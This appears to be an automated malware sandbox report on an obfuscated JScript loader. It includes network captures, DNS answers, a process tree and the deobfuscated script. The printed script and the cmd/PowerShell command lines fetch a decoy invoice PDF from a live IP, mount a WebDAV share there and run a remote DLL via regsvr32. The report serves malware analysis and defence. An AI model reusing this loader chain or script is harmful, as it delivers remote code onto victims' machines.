Jan 11, 2025 08:52:31.245547056 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.245553970 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.245567083 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.245609045 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.495799065 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.727108002 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:32.291973114 CET	49725	8888	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:32.297039032 CET	8888	49725	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:32.297290087 CET	49725	8888	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:32.297290087 CET	49725	8888	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:32.302155972 CET	8888	49725	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:33.078047991 CET	8888	49725	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:33.132782936 CET	49725	8888	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:33.407891989 CET	49725	8888	192.168.2.11	193.143.1.205
Jan 11, 2025 08:54:35.416919947 CET	59969	53	192.168.2.11	1.1.1.1
Jan 11, 2025 08:54:35.421768904 CET	53	59969	1.1.1.1	192.168.2.11
Jan 11, 2025 08:54:35.424616098 CET	59969	53	192.168.2.11	1.1.1.1
Jan 11, 2025 08:54:35.424616098 CET	59969	53	192.168.2.11	1.1.1.1
Jan 11, 2025 08:54:35.429361105 CET	53	59969	1.1.1.1	192.168.2.11
Jan 11, 2025 08:54:35.869200945 CET	53	59969	1.1.1.1	192.168.2.11
Jan 11, 2025 08:54:35.869927883 CET	59969	53	192.168.2.11	1.1.1.1
Jan 11, 2025 08:54:35.876749039 CET	53	59969	1.1.1.1	192.168.2.11
Jan 11, 2025 08:54:35.876817942 CET	59969	53	192.168.2.11	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:52:40.078136921 CET	53657	53	192.168.2.11	1.1.1.1
Jan 11, 2025 08:54:35.414855003 CET	53	53837	1.1.1.1	192.168.2.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 08:52:40.078136921 CET	192.168.2.11	1.1.1.1	0xb024	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 08:52:40.085360050 CET	1.1.1.1	192.168.2.11	0xb024	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:52:40.763441086 CET	1.1.1.1	192.168.2.11	0x1a9	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:52:40.763441086 CET	1.1.1.1	192.168.2.11	0x1a9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:52:40.763441086 CET	1.1.1.1	192.168.2.11	0x1a9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:52:40.763441086 CET	1.1.1.1	192.168.2.11	0x1a9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:52:40.763441086 CET	1.1.1.1	192.168.2.11	0x1a9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:52:40.763441086 CET	1.1.1.1	192.168.2.11	0x1a9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:52:40.763441086 CET	1.1.1.1	192.168.2.11	0x1a9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:52:40.763441086 CET	1.1.1.1	192.168.2.11	0x1a9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:52:40.763441086 CET	1.1.1.1	192.168.2.11	0x1a9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:53:43.644680023 CET	1.1.1.1	192.168.2.11	0xeac0	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:53:43.644680023 CET	1.1.1.1	192.168.2.11	0xeac0	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:53:57.290564060 CET	1.1.1.1	192.168.2.11	0x4b05	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:53:57.290564060 CET	1.1.1.1	192.168.2.11	0x4b05	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:54:21.389281034 CET	1.1.1.1	192.168.2.11	0x3409	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:54:21.389281034 CET	1.1.1.1	192.168.2.11	0x3409	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49709	193.143.1.205	80	7520	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:52:29.667809010 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 08:52:30.485431910 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:52:30 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 08:52:30.485472918 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 08:52:30.485485077 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 08:52:30.485516071 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 08:52:30.485593081 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 08:52:30.485606909 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 08:52:30.485620022 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 08:52:30.485626936 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 11, 2025 08:52:30.485853910 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 11, 2025 08:52:30.485867023 CET	1236	IN	Data Raw: 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 c0 e6 ac da 4b b0 a3 16 39 30 34 8c Data Ascii: Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L
Jan 11, 2025 08:52:30.490459919 CET	548	IN	Data Raw: f5 5b 85 65 79 f5 ec ff ae 9f b1 5c 09 95 35 d1 89 39 2d d7 ac 86 2e 6c ca 0d 5f 50 f3 6a fa 9f a0 90 1f 06 28 64 77 79 8f f9 15 be e1 c8 6a ae 6e fb 1e 6a ce eb 94 28 59 28 a1 92 41 53 c2 d6 af a3 1f 81 d7 53 99 7e c2 f7 da 29 77 6d 7d 4f 93 cf Data Ascii: [ey\59-.l_Pj(dwyjnj(Y(ASS~)wm}OP}'2`sVi%QU;rK^Co:\|4}3=}86rMb(Na4b6NP]&[\KM(_pC%sSOJ)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49725	193.143.1.205	8888	7828	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:52:32.297290087 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 08:52:33.078047991 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:52:32 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	02:52:25
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19559251331544623964.js"
Imagebase:	0x7ff7e41f0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:52:25
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll
Imagebase:	0x7ff702020000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:52:25
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:52:26
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6eb350000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:52:30
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff688b00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	02:52:30
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff702020000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:52:30
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6224d0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:52:31
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6e9af0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:52:31
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff68dea0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:52:31
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1712,i,18150883577437522717,16331206020707131605,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6e9af0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function bvxhotyu() {	bvxhotyu() ➔ undefined
1	uofyndwfe = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var khhjovqen = this[vxecy + klzsvqwpj + sbsshv + wcybpx + lpukmef + awhpv + wtxpsurfy + upusyzcrc] ( this[tjajd + rpnufz + isjysh + sbsshv + ykvvmj + vxecy + upusyzcrc][migrsiv + sbsshv + lpukmef + klzsvqwpj + upusyzcrc + lpukmef + onpduy + pmqqoys + qhpfnvaz + lpukmef + isjysh + upusyzcrc] ( tjajd + rpnufz + isjysh + sbsshv + ykvvmj + vxecy + upusyzcrc + rmevxwnmc + rpnufz + uillajdzy + lpukmef + tjsbts + tjsbts ) [acnuv + lpukmef + kvwvddbf + acnuv + lpukmef + klzsvqwpj + tediztud] ( qhtfdtpl + jyaee + swvnky + iopxyb + mbziv + migrsiv + pqjgbgdr + acnuv + acnuv + swvnky + szmzap + mwuggsfe + mbziv + pqjgbgdr + rpnufz + swvnky + acnuv + cxhbpqjfk + migrsiv + gvvdpxcg + wtxpsurfy + upusyzcrc + sbsshv + gvvdpxcg + tjsbts + gwkwkgw + pvynsy + klzsvqwpj + wtxpsurfy + lpukmef + tjsbts + cxhbpqjfk + awhpv + wtxpsurfy + upusyzcrc + lpukmef + sbsshv + wtxpsurfy + klzsvqwpj + upusyzcrc + ykvvmj + gvvdpxcg + wtxpsurfy + klzsvqwpj + tjsbts + cxhbpqjfk + yzkiiwmni + gvvdpxcg + isjysh + klzsvqwpj + tjsbts + lpukmef ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( osxxa = 0 ; osxxa < uofyndwfe[tjsbts + lpukmef + wtxpsurfy + kvwvddbf + upusyzcrc + uillajdzy] ; ++ osxxa )
4	{
5	if ( khhjovqen == uofyndwfe[osxxa] )
6	{
7	khhjovqen = true;
8	break ;
9	}
10	}
11	if ( khhjovqen !== true )
12	this[tjajd + rpnufz + isjysh + sbsshv + ykvvmj + vxecy + upusyzcrc][jdfzl + yinmcuc + ykvvmj + upusyzcrc] ( );
13	this[tjajd + rpnufz + isjysh + sbsshv + ykvvmj + vxecy + upusyzcrc][migrsiv + sbsshv + lpukmef + klzsvqwpj + upusyzcrc + lpukmef + onpduy + pmqqoys + qhpfnvaz + lpukmef + isjysh + upusyzcrc] ( tjajd + rpnufz + isjysh + sbsshv + ykvvmj + vxecy + upusyzcrc + rmevxwnmc + rpnufz + uillajdzy + lpukmef + tjsbts + tjsbts ) [sbsshv + yinmcuc + wtxpsurfy] ( isjysh + kevekmieg + tediztud + gwkwkgw + cupfhau + isjysh + gwkwkgw + vxecy + gvvdpxcg + nmbhpb + lpukmef + sbsshv + wcybpx + uillajdzy + lpukmef + tjsbts + tjsbts + rmevxwnmc + lpukmef + ivrvidne + lpukmef + gwkwkgw + icvllcg + migrsiv + gvvdpxcg + kevekmieg + kevekmieg + klzsvqwpj + wtxpsurfy + tediztud + gwkwkgw + ncgwy + awhpv + wtxpsurfy + zougbot + gvvdpxcg + mchaqx + lpukmef + icvllcg + tjajd + lpukmef + pmqqoys + acnuv + lpukmef + pwravhqso + yinmcuc + lpukmef + wcybpx + upusyzcrc + gwkwkgw + icvllcg + onpduy + yinmcuc + upusyzcrc + hketbtckz + ykvvmj + tjsbts + lpukmef + gwkwkgw + uzcurqq + upusyzcrc + lpukmef + kevekmieg + vxecy + uzcurqq + cxhbpqjfk + ykvvmj + wtxpsurfy + zougbot + gvvdpxcg + ykvvmj + isjysh + lpukmef + rmevxwnmc + vxecy + tediztud + brrackv + gwkwkgw + uillajdzy + upusyzcrc + upusyzcrc + vxecy + ewdhx + cupfhau + cupfhau + nhujlgff + ipdoxbou + ejmqdwi + rmevxwnmc + nhujlgff + cgosacmpu + ejmqdwi + rmevxwnmc + nhujlgff + rmevxwnmc + vdkzt + bapayof + tkouoy + cupfhau + ykvvmj + wtxpsurfy + zougbot + gvvdpxcg + ykvvmj + isjysh + lpukmef + rmevxwnmc + vxecy + uillajdzy + vxecy + ncgwy + vemyjg + vemyjg + wcybpx + upusyzcrc + klzsvqwpj + sbsshv + upusyzcrc + gwkwkgw + uzcurqq + upusyzcrc + lpukmef + kevekmieg + vxecy + uzcurqq + cxhbpqjfk + ykvvmj + wtxpsurfy + zougbot + gvvdpxcg + ykvvmj + isjysh + lpukmef + rmevxwnmc + vxecy + tediztud + brrackv + vemyjg + vemyjg + isjysh + kevekmieg + tediztud + gwkwkgw + cupfhau + isjysh + gwkwkgw + wtxpsurfy + lpukmef + upusyzcrc + gwkwkgw + yinmcuc + wcybpx + lpukmef + gwkwkgw + cxhbpqjfk + cxhbpqjfk + nhujlgff + ipdoxbou + ejmqdwi + rmevxwnmc + nhujlgff + cgosacmpu + ejmqdwi + rmevxwnmc + nhujlgff + rmevxwnmc + vdkzt + bapayof + tkouoy + ouqsmdvsa + izqaznhm + izqaznhm + izqaznhm + izqaznhm + cxhbpqjfk + tediztud + klzsvqwpj + zougbot + nmbhpb + nmbhpb + nmbhpb + sbsshv + gvvdpxcg + gvvdpxcg + upusyzcrc + cxhbpqjfk + vemyjg + vemyjg + isjysh + kevekmieg + tediztud + gwkwkgw + cupfhau + isjysh + gwkwkgw + sbsshv + lpukmef + kvwvddbf + wcybpx + zougbot + sbsshv + ejmqdwi + vdkzt + gwkwkgw + cupfhau + wcybpx + gwkwkgw + cxhbpqjfk + cxhbpqjfk + nhujlgff + ipdoxbou + ejmqdwi + rmevxwnmc + nhujlgff + cgosacmpu + ejmqdwi + rmevxwnmc + nhujlgff + rmevxwnmc + vdkzt + bapayof + tkouoy + ouqsmdvsa + izqaznhm + izqaznhm + izqaznhm + izqaznhm + cxhbpqjfk + tediztud + klzsvqwpj + zougbot + nmbhpb + nmbhpb + nmbhpb + sbsshv + gvvdpxcg + gvvdpxcg + upusyzcrc + cxhbpqjfk + nhujlgff + nhujlgff + tkouoy + cgosacmpu + cwrrlhmbc + nhujlgff + vdkzt + nhujlgff + cwrrlhmbc + cwrrlhmbc + ejmqdwi + nhujlgff + ipdoxbou + agoel + agoel + rmevxwnmc + tediztud + tjsbts + tjsbts, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll",0,false) ➔ 0
14	}
15	yinmcuc = "A";
16	yinmcuc = "M";
17	yinmcuc = "v";
18	yinmcuc = "C";
19	yinmcuc = "m";
20	yinmcuc = "M";
21	yinmcuc = "v";
22	yinmcuc = "B";
23	yinmcuc = "G";
24	yinmcuc = "y";
25	yinmcuc = "w";
26	yinmcuc = "d";
27	yinmcuc = "b";
28	yinmcuc = "E";
29	yinmcuc = "T";
30	yinmcuc = "u";
